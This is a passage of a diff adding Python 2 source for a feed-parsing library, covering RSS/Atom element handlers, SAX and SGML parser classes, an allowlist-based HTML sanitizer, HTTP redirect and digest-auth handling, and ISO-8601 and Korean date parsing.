+        self.guidislink = (attrsD.get('ispermalink', 'true') == 'true')
+        self.push('id', 1)
+
+    def _end_guid(self):
+        value = self.pop('id')
+        self._save('guidislink', self.guidislink and not self._getContext().has_key('link'))
+        if self.guidislink:
+            # guid acts as link, but only if 'ispermalink' is not present or is 'true',
+            # and only if the item doesn't already have a link element
+            self._save('link', value)
+
+    def _start_title(self, attrsD):
+        self.pushContent('title', attrsD, 'text/plain', self.infeed or self.inentry or self.insource)
+
+    def _start_title_low_pri(self, attrsD):
+        if not self._getContext().has_key('title'):
+            self._start_title(attrsD)
+    _start_dc_title = _start_title_low_pri
+    _start_media_title = _start_title_low_pri
+
+    def _end_title(self):
+        value = self.popContent('title')
+        context = self._getContext()
+        if self.intextinput:
+            context['textinput']['title'] = value
+        elif self.inimage:
+            context['image']['title'] = value
+
+    def _end_title_low_pri(self):
+        if not self._getContext().has_key('title'):
+            self._end_title()
+    _end_dc_title = _end_title_low_pri
+    _end_media_title = _end_title_low_pri
+
+    def _start_description(self, attrsD):
+        context = self._getContext()
+        if context.has_key('summary'):
+            self._summaryKey = 'content'
+            self._start_content(attrsD)
+        else:
+            self.pushContent('description', attrsD, 'text/html', self.infeed or self.inentry or self.insource)
+
+    def _start_abstract(self, attrsD):
+        self.pushContent('description', attrsD, 'text/plain', self.infeed or self.inentry or self.insource)
+
+    def _end_description(self):
+        if self._summaryKey == 'content':
+            self._end_content()
+        else:
+            value = self.popContent('description')
+            context = self._getContext()
+            if self.intextinput:
+                context['textinput']['description'] = value
+            elif self.inimage:
+                context['image']['description'] = value
+        self._summaryKey = None
+    _end_abstract = _end_description
+
+    def _start_info(self, attrsD):
+        self.pushContent('info', attrsD, 'text/plain', 1)
+    _start_feedburner_browserfriendly = _start_info
+
+    def _end_info(self):
+        self.popContent('info')
+    _end_feedburner_browserfriendly = _end_info
+
+    def _start_generator(self, attrsD):
+        if attrsD:
+            attrsD = self._itsAnHrefDamnIt(attrsD)
+            if attrsD.has_key('href'):
+                attrsD['href'] = self.resolveURI(attrsD['href'])
+        self._getContext()['generator_detail'] = FeedParserDict(attrsD)
+        self.push('generator', 1)
+
+    def _end_generator(self):
+        value = self.pop('generator')
+        context = self._getContext()
+        if context.has_key('generator_detail'):
+            context['generator_detail']['name'] = value
+            
+    def _start_admin_generatoragent(self, attrsD):
+        self.push('generator', 1)
+        value = self._getAttribute(attrsD, 'rdf:resource')
+        if value:
+            self.elementstack[-1][2].append(value)
+        self.pop('generator')
+        self._getContext()['generator_detail'] = FeedParserDict({'href': value})
+
+    def _start_admin_errorreportsto(self, attrsD):
+        self.push('errorreportsto', 1)
+        value = self._getAttribute(attrsD, 'rdf:resource')
+        if value:
+            self.elementstack[-1][2].append(value)
+        self.pop('errorreportsto')
+        
+    def _start_summary(self, attrsD):
+        context = self._getContext()
+        if context.has_key('summary'):
+            self._summaryKey = 'content'
+            self._start_content(attrsD)
+        else:
+            self._summaryKey = 'summary'
+            self.pushContent(self._summaryKey, attrsD, 'text/plain', 1)
+    _start_itunes_summary = _start_summary
+
+    def _end_summary(self):
+        if self._summaryKey == 'content':
+            self._end_content()
+        else:
+            self.popContent(self._summaryKey or 'summary')
+        self._summaryKey = None
+    _end_itunes_summary = _end_summary
+        
+    def _start_enclosure(self, attrsD):
+        attrsD = self._itsAnHrefDamnIt(attrsD)
+        self._getContext().setdefault('enclosures', []).append(FeedParserDict(attrsD))
+        href = attrsD.get('href')
+        if href:
+            context = self._getContext()
+            if not context.get('id'):
+                context['id'] = href
+            
+    def _start_source(self, attrsD):
+        self.insource = 1
+
+    def _end_source(self):
+        self.insource = 0
+        self._getContext()['source'] = copy.deepcopy(self.sourcedata)
+        self.sourcedata.clear()
+
+    def _start_content(self, attrsD):
+        self.pushContent('content', attrsD, 'text/plain', 1)
+        src = attrsD.get('src')
+        if src:
+            self.contentparams['src'] = src
+        self.push('content', 1)
+
+    def _start_prodlink(self, attrsD):
+        self.pushContent('content', attrsD, 'text/html', 1)
+
+    def _start_body(self, attrsD):
+        self.pushContent('content', attrsD, 'application/xhtml+xml', 1)
+    _start_xhtml_body = _start_body
+
+    def _start_content_encoded(self, attrsD):
+        self.pushContent('content', attrsD, 'text/html', 1)
+    _start_fullitem = _start_content_encoded
+
+    def _end_content(self):
+        copyToDescription = self.mapContentType(self.contentparams.get('type')) in (['text/plain'] + self.html_types)
+        value = self.popContent('content')
+        if copyToDescription:
+            self._save('description', value)
+    _end_body = _end_content
+    _end_xhtml_body = _end_content
+    _end_content_encoded = _end_content
+    _end_fullitem = _end_content
+    _end_prodlink = _end_content
+
+    def _start_itunes_image(self, attrsD):
+        self.push('itunes_image', 0)
+        self._getContext()['image'] = FeedParserDict({'href': attrsD.get('href')})
+    _start_itunes_link = _start_itunes_image
+        
+    def _end_itunes_block(self):
+        value = self.pop('itunes_block', 0)
+        self._getContext()['itunes_block'] = (value == 'yes') and 1 or 0
+
+    def _end_itunes_explicit(self):
+        value = self.pop('itunes_explicit', 0)
+        self._getContext()['itunes_explicit'] = (value == 'yes') and 1 or 0
+
+if _XML_AVAILABLE:
+    class _StrictFeedParser(_FeedParserMixin, xml.sax.handler.ContentHandler):
+        def __init__(self, baseuri, baselang, encoding):
+            if _debug: sys.stderr.write('trying StrictFeedParser\n')
+            xml.sax.handler.ContentHandler.__init__(self)
+            _FeedParserMixin.__init__(self, baseuri, baselang, encoding)
+            self.bozo = 0
+            self.exc = None
+        
+        def startPrefixMapping(self, prefix, uri):
+            self.trackNamespace(prefix, uri)
+        
+        def startElementNS(self, name, qname, attrs):
+            namespace, localname = name
+            lowernamespace = str(namespace or '').lower()
+            if lowernamespace.find('backend.userland.com/rss') <> -1:
+                # match any backend.userland.com namespace
+                namespace = 'http://backend.userland.com/rss'
+                lowernamespace = namespace
+            if qname and qname.find(':') > 0:
+                givenprefix = qname.split(':')[0]
+            else:
+                givenprefix = None
+            prefix = self._matchnamespaces.get(lowernamespace, givenprefix)
+            if givenprefix and (prefix == None or (prefix == '' and lowernamespace == '')) and not self.namespacesInUse.has_key(givenprefix):
+                    raise UndeclaredNamespace, "'%s' is not associated with a namespace" % givenprefix
+            if prefix:
+                localname = prefix + ':' + localname
+            localname = str(localname).lower()
+            if _debug: sys.stderr.write('startElementNS: qname = %s, namespace = %s, givenprefix = %s, prefix = %s, attrs = %s, localname = %s\n' % (qname, namespace, givenprefix, prefix, attrs.items(), localname))
+
+            # qname implementation is horribly broken in Python 2.1 (it
+            # doesn't report any), and slightly broken in Python 2.2 (it
+            # doesn't report the xml: namespace). So we match up namespaces
+            # with a known list first, and then possibly override them with
+            # the qnames the SAX parser gives us (if indeed it gives us any
+            # at all).  Thanks to MatejC for helping me test this and
+            # tirelessly telling me that it didn't work yet.
+            attrsD = {}
+            for (namespace, attrlocalname), attrvalue in attrs._attrs.items():
+                lowernamespace = (namespace or '').lower()
+                prefix = self._matchnamespaces.get(lowernamespace, '')
+                if prefix:
+                    attrlocalname = prefix + ':' + attrlocalname
+                attrsD[str(attrlocalname).lower()] = attrvalue
+            for qname in attrs.getQNames():
+                attrsD[str(qname).lower()] = attrs.getValueByQName(qname)
+            self.unknown_starttag(localname, attrsD.items())
+
+        def characters(self, text):
+            self.handle_data(text)
+
+        def endElementNS(self, name, qname):
+            namespace, localname = name
+            lowernamespace = str(namespace or '').lower()
+            if qname and qname.find(':') > 0:
+                givenprefix = qname.split(':')[0]
+            else:
+                givenprefix = ''
+            prefix = self._matchnamespaces.get(lowernamespace, givenprefix)
+            if prefix:
+                localname = prefix + ':' + localname
+            localname = str(localname).lower()
+            self.unknown_endtag(localname)
+
+        def error(self, exc):
+            self.bozo = 1
+            self.exc = exc
+            
+        def fatalError(self, exc):
+            self.error(exc)
+            raise exc
+
+class _BaseHTMLProcessor(sgmllib.SGMLParser):
+    elements_no_end_tag = ['area', 'base', 'basefont', 'br', 'col', 'frame', 'hr',
+      'img', 'input', 'isindex', 'link', 'meta', 'param']
+    
+    def __init__(self, encoding):
+        self.encoding = encoding
+        if _debug: sys.stderr.write('entering BaseHTMLProcessor, encoding=%s\n' % self.encoding)
+        sgmllib.SGMLParser.__init__(self)
+        
+    def reset(self):
+        self.pieces = []
+        sgmllib.SGMLParser.reset(self)
+
+    def _shorttag_replace(self, match):
+        tag = match.group(1)
+        if tag in self.elements_no_end_tag:
+            return '<' + tag + ' />'
+        else:
+            return '<' + tag + '></' + tag + '>'
+        
+    def feed(self, data):
+        data = re.compile(r'<!((?!DOCTYPE|--|\[))', re.IGNORECASE).sub(r'&lt;!\1', data)
+        #data = re.sub(r'<(\S+?)\s*?/>', self._shorttag_replace, data) # bug [ 1399464 ] Bad regexp for _shorttag_replace
+        data = re.sub(r'<([^<\s]+?)\s*/>', self._shorttag_replace, data) 
+        data = data.replace('&#39;', "'")
+        data = data.replace('&#34;', '"')
+        if self.encoding and type(data) == type(u''):
+            data = data.encode(self.encoding)
+        sgmllib.SGMLParser.feed(self, data)
+
+    def normalize_attrs(self, attrs):
+        # utility method to be called by descendants
+        attrs = [(k.lower(), v) for k, v in attrs]
+        attrs = [(k, k in ('rel', 'type') and v.lower() or v) for k, v in attrs]
+        return attrs
+
+    def unknown_starttag(self, tag, attrs):
+        # called for each start tag
+        # attrs is a list of (attr, value) tuples
+        # e.g. for <pre class='screen'>, tag='pre', attrs=[('class', 'screen')]
+        if _debug: sys.stderr.write('_BaseHTMLProcessor, unknown_starttag, tag=%s\n' % tag)
+        uattrs = []
+        # thanks to Kevin Marks for this breathtaking hack to deal with (valid) high-bit attribute values in UTF-8 feeds
+        for key, value in attrs:
+            if type(value) != type(u''):
+                value = unicode(value, self.encoding)
+            uattrs.append((unicode(key, self.encoding), value))
+        strattrs = u''.join([u' %s="%s"' % (key, value) for key, value in uattrs]).encode(self.encoding)
+        if tag in self.elements_no_end_tag:
+            self.pieces.append('<%(tag)s%(strattrs)s />' % locals())
+        else:
+            self.pieces.append('<%(tag)s%(strattrs)s>' % locals())
+
+    def unknown_endtag(self, tag):
+        # called for each end tag, e.g. for </pre>, tag will be 'pre'
+        # Reconstruct the original end tag.
+        if tag not in self.elements_no_end_tag:
+            self.pieces.append("</%(tag)s>" % locals())
+
+    def handle_charref(self, ref):
+        # called for each character reference, e.g. for '&#160;', ref will be '160'
+        # Reconstruct the original character reference.
+        self.pieces.append('&#%(ref)s;' % locals())
+        
+    def handle_entityref(self, ref):
+        # called for each entity reference, e.g. for '&copy;', ref will be 'copy'
+        # Reconstruct the original entity reference.
+        self.pieces.append('&%(ref)s;' % locals())
+
+    def handle_data(self, text):
+        # called for each block of plain text, i.e. outside of any tag and
+        # not containing any character or entity references
+        # Store the original text verbatim.
+        if _debug: sys.stderr.write('_BaseHTMLProcessor, handle_text, text=%s\n' % text)
+        self.pieces.append(text)
+        
+    def handle_comment(self, text):
+        # called for each HTML comment, e.g. <!-- insert Javascript code here -->
+        # Reconstruct the original comment.
+        self.pieces.append('<!--%(text)s-->' % locals())
+        
+    def handle_pi(self, text):
+        # called for each processing instruction, e.g. <?instruction>
+        # Reconstruct original processing instruction.
+        self.pieces.append('<?%(text)s>' % locals())
+
+    def handle_decl(self, text):
+        # called for the DOCTYPE, if present, e.g.
+        # <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+        #     "http://www.w3.org/TR/html4/loose.dtd">
+        # Reconstruct original DOCTYPE
+        self.pieces.append('<!%(text)s>' % locals())
+        
+    _new_declname_match = re.compile(r'[a-zA-Z][-_.a-zA-Z0-9:]*\s*').match
+    def _scan_name(self, i, declstartpos):
+        rawdata = self.rawdata
+        n = len(rawdata)
+        if i == n:
+            return None, -1
+        m = self._new_declname_match(rawdata, i)
+        if m:
+            s = m.group()
+            name = s.strip()
+            if (i + len(s)) == n:
+                return None, -1  # end of buffer
+            return name.lower(), m.end()
+        else:
+            self.handle_data(rawdata)
+#            self.updatepos(declstartpos, i)
+            return None, -1
+
+    def output(self):
+        '''Return processed HTML as a single string'''
+        return ''.join([str(p) for p in self.pieces])
+
+class _LooseFeedParser(_FeedParserMixin, _BaseHTMLProcessor):
+    def __init__(self, baseuri, baselang, encoding):
+        sgmllib.SGMLParser.__init__(self)
+        _FeedParserMixin.__init__(self, baseuri, baselang, encoding)
+
+    def decodeEntities(self, element, data):
+        data = data.replace('&#60;', '&lt;')
+        data = data.replace('&#x3c;', '&lt;')
+        data = data.replace('&#62;', '&gt;')
+        data = data.replace('&#x3e;', '&gt;')
+        data = data.replace('&#38;', '&amp;')
+        data = data.replace('&#x26;', '&amp;')
+        data = data.replace('&#34;', '&quot;')
+        data = data.replace('&#x22;', '&quot;')
+        data = data.replace('&#39;', '&apos;')
+        data = data.replace('&#x27;', '&apos;')
+        if self.contentparams.has_key('type') and not self.contentparams.get('type', 'xml').endswith('xml'):
+            data = data.replace('&lt;', '<')
+            data = data.replace('&gt;', '>')
+            data = data.replace('&amp;', '&')
+            data = data.replace('&quot;', '"')
+            data = data.replace('&apos;', "'")
+        return data
+        
+class _RelativeURIResolver(_BaseHTMLProcessor):
+    relative_uris = [('a', 'href'),
+                     ('applet', 'codebase'),
+                     ('area', 'href'),
+                     ('blockquote', 'cite'),
+                     ('body', 'background'),
+                     ('del', 'cite'),
+                     ('form', 'action'),
+                     ('frame', 'longdesc'),
+                     ('frame', 'src'),
+                     ('iframe', 'longdesc'),
+                     ('iframe', 'src'),
+                     ('head', 'profile'),
+                     ('img', 'longdesc'),
+                     ('img', 'src'),
+                     ('img', 'usemap'),
+                     ('input', 'src'),
+                     ('input', 'usemap'),
+                     ('ins', 'cite'),
+                     ('link', 'href'),
+                     ('object', 'classid'),
+                     ('object', 'codebase'),
+                     ('object', 'data'),
+                     ('object', 'usemap'),
+                     ('q', 'cite'),
+                     ('script', 'src')]
+
+    def __init__(self, baseuri, encoding):
+        _BaseHTMLProcessor.__init__(self, encoding)
+        self.baseuri = baseuri
+
+    def resolveURI(self, uri):
+        return _urljoin(self.baseuri, uri)
+    
+    def unknown_starttag(self, tag, attrs):
+        attrs = self.normalize_attrs(attrs)
+        attrs = [(key, ((tag, key) in self.relative_uris) and self.resolveURI(value) or value) for key, value in attrs]
+        _BaseHTMLProcessor.unknown_starttag(self, tag, attrs)
+        
+def _resolveRelativeURIs(htmlSource, baseURI, encoding):
+    if _debug: sys.stderr.write('entering _resolveRelativeURIs\n')
+    p = _RelativeURIResolver(baseURI, encoding)
+    p.feed(htmlSource)
+    return p.output()
+
+class _HTMLSanitizer(_BaseHTMLProcessor):
+    acceptable_elements = ['a', 'abbr', 'acronym', 'address', 'area', 'b', 'big',
+      'blockquote', 'br', 'button', 'caption', 'center', 'cite', 'code', 'col',
+      'colgroup', 'dd', 'del', 'dfn', 'dir', 'div', 'dl', 'dt', 'em', 'fieldset',
+      'font', 'form', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'hr', 'i', 'img', 'input',
+      'ins', 'kbd', 'label', 'legend', 'li', 'map', 'menu', 'ol', 'optgroup',
+      'option', 'p', 'pre', 'q', 's', 'samp', 'select', 'small', 'span', 'strike',
+      'strong', 'sub', 'sup', 'table', 'tbody', 'td', 'textarea', 'tfoot', 'th',
+      'thead', 'tr', 'tt', 'u', 'ul', 'var']
+
+    acceptable_attributes = ['abbr', 'accept', 'accept-charset', 'accesskey',
+      'action', 'align', 'alt', 'axis', 'border', 'cellpadding', 'cellspacing',
+      'char', 'charoff', 'charset', 'checked', 'cite', 'class', 'clear', 'cols',
+      'colspan', 'color', 'compact', 'coords', 'datetime', 'dir', 'disabled',
+      'enctype', 'for', 'frame', 'headers', 'height', 'href', 'hreflang', 'hspace',
+      'id', 'ismap', 'label', 'lang', 'longdesc', 'maxlength', 'media', 'method',
+      'multiple', 'name', 'nohref', 'noshade', 'nowrap', 'prompt', 'readonly',
+      'rel', 'rev', 'rows', 'rowspan', 'rules', 'scope', 'selected', 'shape', 'size',
+      'span', 'src', 'start', 'summary', 'tabindex', 'target', 'title', 'type',
+      'usemap', 'valign', 'value', 'vspace', 'width']
+
+    unacceptable_elements_with_end_tag = ['script', 'applet']
+
+    def reset(self):
+        _BaseHTMLProcessor.reset(self)
+        self.unacceptablestack = 0
+        
+    def unknown_starttag(self, tag, attrs):
+        if not tag in self.acceptable_elements:
+            if tag in self.unacceptable_elements_with_end_tag:
+                self.unacceptablestack += 1
+            return
+        attrs = self.normalize_attrs(attrs)
+        attrs = [(key, value) for key, value in attrs if key in self.acceptable_attributes]
+        _BaseHTMLProcessor.unknown_starttag(self, tag, attrs)
+        
+    def unknown_endtag(self, tag):
+        if not tag in self.acceptable_elements:
+            if tag in self.unacceptable_elements_with_end_tag:
+                self.unacceptablestack -= 1
+            return
+        _BaseHTMLProcessor.unknown_endtag(self, tag)
+
+    def handle_pi(self, text):
+        pass
+
+    def handle_decl(self, text):
+        pass
+
+    def handle_data(self, text):
+        if not self.unacceptablestack:
+            _BaseHTMLProcessor.handle_data(self, text)
+
+def _sanitizeHTML(htmlSource, encoding):
+    p = _HTMLSanitizer(encoding)
+    p.feed(htmlSource)
+    data = p.output()
+    if TIDY_MARKUP:
+        # loop through list of preferred Tidy interfaces looking for one that's installed,
+        # then set up a common _tidy function to wrap the interface-specific API.
+        _tidy = None
+        for tidy_interface in PREFERRED_TIDY_INTERFACES:
+            try:
+                if tidy_interface == "uTidy":
+                    from tidy import parseString as _utidy
+                    def _tidy(data, **kwargs):
+                        return str(_utidy(data, **kwargs))
+                    break
+                elif tidy_interface == "mxTidy":
+                    from mx.Tidy import Tidy as _mxtidy
+                    def _tidy(data, **kwargs):
+                        nerrors, nwarnings, data, errordata = _mxtidy.tidy(data, **kwargs)
+                        return data
+                    break
+            except:
+                pass
+        if _tidy:
+            utf8 = type(data) == type(u'')
+            if utf8:
+                data = data.encode('utf-8')
+            data = _tidy(data, output_xhtml=1, numeric_entities=1, wrap=0, char_encoding="utf8")
+            if utf8:
+                data = unicode(data, 'utf-8')
+            if data.count('<body'):
+                data = data.split('<body', 1)[1]
+                if data.count('>'):
+                    data = data.split('>', 1)[1]
+            if data.count('</body'):
+                data = data.split('</body', 1)[0]
+    data = data.strip().replace('\r\n', '\n')
+    return data
+
+class _FeedURLHandler(urllib2.HTTPDigestAuthHandler, urllib2.HTTPRedirectHandler, urllib2.HTTPDefaultErrorHandler):
+    def http_error_default(self, req, fp, code, msg, headers):
+        if ((code / 100) == 3) and (code != 304):
+            return self.http_error_302(req, fp, code, msg, headers)
+        infourl = urllib.addinfourl(fp, headers, req.get_full_url())
+        infourl.status = code
+        return infourl
+
+    def http_error_302(self, req, fp, code, msg, headers):
+        if headers.dict.has_key('location'):
+            infourl = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
+        else:
+            infourl = urllib.addinfourl(fp, headers, req.get_full_url())
+        if not hasattr(infourl, 'status'):
+            infourl.status = code
+        return infourl
+
+    def http_error_301(self, req, fp, code, msg, headers):
+        if headers.dict.has_key('location'):
+            infourl = urllib2.HTTPRedirectHandler.http_error_301(self, req, fp, code, msg, headers)
+        else:
+            infourl = urllib.addinfourl(fp, headers, req.get_full_url())
+        if not hasattr(infourl, 'status'):
+            infourl.status = code
+        return infourl
+
+    http_error_300 = http_error_302
+    http_error_303 = http_error_302
+    http_error_307 = http_error_302
+        
+    def http_error_401(self, req, fp, code, msg, headers):
+        # Check if
+        # - server requires digest auth, AND
+        # - we tried (unsuccessfully) with basic auth, AND
+        # - we're using Python 2.3.3 or later (digest auth is irreparably broken in earlier versions)
+        # If all conditions hold, parse authentication information
+        # out of the Authorization header we sent the first time
+        # (for the username and password) and the WWW-Authenticate
+        # header the server sent back (for the realm) and retry
+        # the request with the appropriate digest auth headers instead.
+        # This evil genius hack has been brought to you by Aaron Swartz.
+        host = urlparse.urlparse(req.get_full_url())[1]
+        try:
+            assert sys.version.split()[0] >= '2.3.3'
+            assert base64 != None
+            user, passw = base64.decodestring(req.headers['Authorization'].split(' ')[1]).split(':')
+            realm = re.findall('realm="([^"]*)"', headers['WWW-Authenticate'])[0]
+            self.add_password(realm, host, user, passw)
+            retry = self.http_error_auth_reqed('www-authenticate', host, req, headers)
+            self.reset_retry_count()
+            return retry
+        except:
+            return self.http_error_default(req, fp, code, msg, headers)
+
+def _open_resource(url_file_stream_or_string, etag, modified, agent, referrer, handlers):
+    """URL, filename, or string --> stream
+
+    This function lets you define parsers that take any input source
+    (URL, pathname to local or network file, or actual data as a string)
+    and deal with it in a uniform manner.  Returned object is guaranteed
+    to have all the basic stdio read methods (read, readline, readlines).
+    Just .close() the object when you're done with it.
+
+    If the etag argument is supplied, it will be used as the value of an
+    If-None-Match request header.
+
+    If the modified argument is supplied, it must be a tuple of 9 integers
+    as returned by gmtime() in the standard Python time module. This MUST
+    be in GMT (Greenwich Mean Time). The formatted date/time will be used
+    as the value of an If-Modified-Since request header.
+
+    If the agent argument is supplied, it will be used as the value of a
+    User-Agent request header.
+
+    If the referrer argument is supplied, it will be used as the value of a
+    Referer[sic] request header.
+
+    If handlers is supplied, it is a list of handlers used to build a
+    urllib2 opener.
+    """
+
+    if hasattr(url_file_stream_or_string, 'read'):
+        return url_file_stream_or_string
+
+    if url_file_stream_or_string == '-':
+        return sys.stdin
+
+    if urlparse.urlparse(url_file_stream_or_string)[0] in ('http', 'https', 'ftp'):
+        if not agent:
+            agent = USER_AGENT
+        # test for inline user:password for basic auth
+        auth = None
+        if base64:
+            urltype, rest = urllib.splittype(url_file_stream_or_string)
+            realhost, rest = urllib.splithost(rest)
+            if realhost:
+                user_passwd, realhost = urllib.splituser(realhost)
+                if user_passwd:
+                    url_file_stream_or_string = '%s://%s%s' % (urltype, realhost, rest)
+                    auth = base64.encodestring(user_passwd).strip()
+        # try to open with urllib2 (to use optional headers)
+        request = urllib2.Request(url_file_stream_or_string)
+        request.add_header('User-Agent', agent)
+        if etag:
+            request.add_header('If-None-Match', etag)
+        if modified:
+            # format into an RFC 1123-compliant timestamp. We can't use
+            # time.strftime() since the %a and %b directives can be affected
+            # by the current locale, but RFC 2616 states that dates must be
+            # in English.
+            short_weekdays = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun']
+            months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
+            request.add_header('If-Modified-Since', '%s, %02d %s %04d %02d:%02d:%02d GMT' % (short_weekdays[modified[6]], modified[2], months[modified[1] - 1], modified[0], modified[3], modified[4], modified[5]))
+        if referrer:
+            request.add_header('Referer', referrer)
+        if gzip and zlib:
+            request.add_header('Accept-encoding', 'gzip, deflate')
+        elif gzip:
+            request.add_header('Accept-encoding', 'gzip')
+        elif zlib:
+            request.add_header('Accept-encoding', 'deflate')
+        else:
+            request.add_header('Accept-encoding', '')
+        if auth:
+            request.add_header('Authorization', 'Basic %s' % auth)
+        if ACCEPT_HEADER:
+            request.add_header('Accept', ACCEPT_HEADER)
+        request.add_header('A-IM', 'feed') # RFC 3229 support
+        opener = apply(urllib2.build_opener, tuple([_FeedURLHandler()] + handlers))
+        opener.addheaders = [] # RMK - must clear so we only send our custom User-Agent
+        try:
+            return opener.open(request)
+        finally:
+            opener.close() # JohnD
+    
+    # try to open with native open function (if url_file_stream_or_string is a filename)
+    try:
+        return open(url_file_stream_or_string)
+    except:
+        pass
+
+    # treat url_file_stream_or_string as string
+    return _StringIO(str(url_file_stream_or_string))
+
+_date_handlers = []
+def registerDateHandler(func):
+    '''Register a date handler function (takes string, returns 9-tuple date in GMT)'''
+    _date_handlers.insert(0, func)
+    
+# ISO-8601 date parsing routines written by Fazal Majid.
+# The ISO 8601 standard is very convoluted and irregular - a full ISO 8601
+# parser is beyond the scope of feedparser and would be a worthwhile addition
+# to the Python library.
+# A single regular expression cannot parse ISO 8601 date formats into groups
+# as the standard is highly irregular (for instance is 030104 2003-01-04 or
+# 0301-04-01), so we use templates instead.
+# Please note the order in templates is significant because we need a
+# greedy match.
+_iso8601_tmpl = ['YYYY-?MM-?DD', 'YYYY-MM', 'YYYY-?OOO',
+                'YY-?MM-?DD', 'YY-?OOO', 'YYYY', 
+                '-YY-?MM', '-OOO', '-YY',
+                '--MM-?DD', '--MM',
+                '---DD',
+                'CC', '']
+_iso8601_re = [
+    tmpl.replace(
+    'YYYY', r'(?P<year>\d{4})').replace(
+    'YY', r'(?P<year>\d\d)').replace(
+    'MM', r'(?P<month>[01]\d)').replace(
+    'DD', r'(?P<day>[0123]\d)').replace(
+    'OOO', r'(?P<ordinal>[0123]\d\d)').replace(
+    'CC', r'(?P<century>\d\d$)')
+    + r'(T?(?P<hour>\d{2}):(?P<minute>\d{2})'
+    + r'(:(?P<second>\d{2}))?'
+    + r'(?P<tz>[+-](?P<tzhour>\d{2})(:(?P<tzmin>\d{2}))?|Z)?)?'
+    for tmpl in _iso8601_tmpl]
+del tmpl
+_iso8601_matches = [re.compile(regex).match for regex in _iso8601_re]
+del regex
+def _parse_date_iso8601(dateString):
+    '''Parse a variety of ISO-8601-compatible formats like 20040105'''
+    m = None
+    for _iso8601_match in _iso8601_matches:
+        m = _iso8601_match(dateString)
+        if m: break
+    if not m: return
+    if m.span() == (0, 0): return
+    params = m.groupdict()
+    ordinal = params.get('ordinal', 0)
+    if ordinal:
+        ordinal = int(ordinal)
+    else:
+        ordinal = 0
+    year = params.get('year', '--')
+    if not year or year == '--':
+        year = time.gmtime()[0]
+    elif len(year) == 2:
+        # ISO 8601 assumes current century, i.e. 93 -> 2093, NOT 1993
+        year = 100 * int(time.gmtime()[0] / 100) + int(year)
+    else:
+        year = int(year)
+    month = params.get('month', '-')
+    if not month or month == '-':
+        # ordinals are NOT normalized by mktime, we simulate them
+        # by setting month=1, day=ordinal
+        if ordinal:
+            month = 1
+        else:
+            month = time.gmtime()[1]
+    month = int(month)
+    day = params.get('day', 0)
+    if not day:
+        # see above
+        if ordinal:
+            day = ordinal
+        elif params.get('century', 0) or \
+                 params.get('year', 0) or params.get('month', 0):
+            day = 1
+        else:
+            day = time.gmtime()[2]
+    else:
+        day = int(day)
+    # special case of the century - is the first year of the 21st century
+    # 2000 or 2001 ? The debate goes on...
+    if 'century' in params.keys():
+        year = (int(params['century']) - 1) * 100 + 1
+    # in ISO 8601 most fields are optional
+    for field in ['hour', 'minute', 'second', 'tzhour', 'tzmin']:
+        if not params.get(field, None):
+            params[field] = 0
+    hour = int(params.get('hour', 0))
+    minute = int(params.get('minute', 0))
+    second = int(params.get('second', 0))
+    # weekday is normalized by mktime(), we can ignore it
+    weekday = 0
+    # daylight savings is complex, but not needed for feedparser's purposes
+    # as time zones, if specified, include mention of whether it is active
+    # (e.g. PST vs. PDT, CET). Using -1 is implementation-dependent and
+    # and most implementations have DST bugs
+    daylight_savings_flag = 0
+    tm = [year, month, day, hour, minute, second, weekday,
+          ordinal, daylight_savings_flag]
+    # ISO 8601 time zone adjustments
+    tz = params.get('tz')
+    if tz and tz != 'Z':
+        if tz[0] == '-':
+            tm[3] += int(params.get('tzhour', 0))
+            tm[4] += int(params.get('tzmin', 0))
+        elif tz[0] == '+':
+            tm[3] -= int(params.get('tzhour', 0))
+            tm[4] -= int(params.get('tzmin', 0))
+        else:
+            return None
+    # Python's time.mktime() is a wrapper around the ANSI C mktime(3c)
+    # which is guaranteed to normalize d/m/y/h/m/s.
+    # Many implementations have bugs, but we'll pretend they don't.
+    return time.localtime(time.mktime(tm))
+registerDateHandler(_parse_date_iso8601)
+    
+# 8-bit date handling routines written by ytrewq1.
+_korean_year  = u'\ub144' # b3e2 in euc-kr
+_korean_month = u'\uc6d4' # bff9 in euc-kr
+_korean_day   = u'\uc77c' # c0cf in euc-kr
+_korean_am    = u'\uc624\uc804' # bfc0 c0fc in euc-kr
+_korean_pm    = u'\uc624\ud6c4' # bfc0 c8c4 in euc-kr
+
+_korean_onblog_date_re = \
+    re.compile('(\d{4})%s\s+(\d{2})%s\s+(\d{2})%s\s+(\d{2}):(\d{2}):(\d{2})' % \
+               (_korean_year, _korean_month, _korean_day))
+_korean_nate_date_re = \
+    re.compile(u'(\d{4})-(\d{2})-(\d{2})\s+(%s|%s)\s+(\d{,2}):(\d{,2}):(\d{,2})' % \
+               (_korean_am, _korean_pm))
+def _parse_date_onblog(dateString):
+    '''Parse a string according to the OnBlog 8-bit date format'''
+    m = _korean_onblog_date_re.match(dateString)
+    if not m: return
+    w3dtfdate = '%(year)s-%(month)s-%(day)sT%(hour)s:%(minute)s:%(second)s%(zonediff)s' % \
+                {'year': m.group(1), 'month': m.group(2), 'day': m.group(3),\
+                 'hour': m.group(4), 'minute': m.group(5), 'second': m.group(6),\
+                 'zonediff': '+09:00'}
+    if _debug: sys.stderr.write('OnBlog date parsed as: %s\n' % w3dtfdate)
+    return _parse_date_w3dtf(w3dtfdate)
+registerDateHandler(_parse_date_onblog)
+
+def _parse_date_nate(dateString):
+    '''Parse a string according to the Nate 8-bit date format'''
+    m = _korean_nate_date_re.match(dateString)
+    if not m: return
+    hour = int(m.group(5))
+    ampm = m.group(4)
+    if (ampm == _korean_pm):
+        hour += 12
+    hour = str(hour)
+    if len(hour) == 1:
+        hour = '0' + hour
+    w3dtfdate = '%(year)s-%(month)s-%(day)sT%(hour)s:%(minute)s:%(second)s%(zonediff)s' % \
+                {'year': m.group(1), 'month': m.group(2), 'day': m.group(3),\
+                 'hour': hour, 'minute': m.group(6), 'second': m.group(7),\
+                 'zonediff': '+09:00'}
+    if _debug: sys.stderr.write('Nate date parsed as: %s\n' % w3dtfdate)
+    return _parse_date_w3dtf(w3dtfdate)
+registerDateHandler(_parse_date_nate)
+
+_mssql_date_re = \
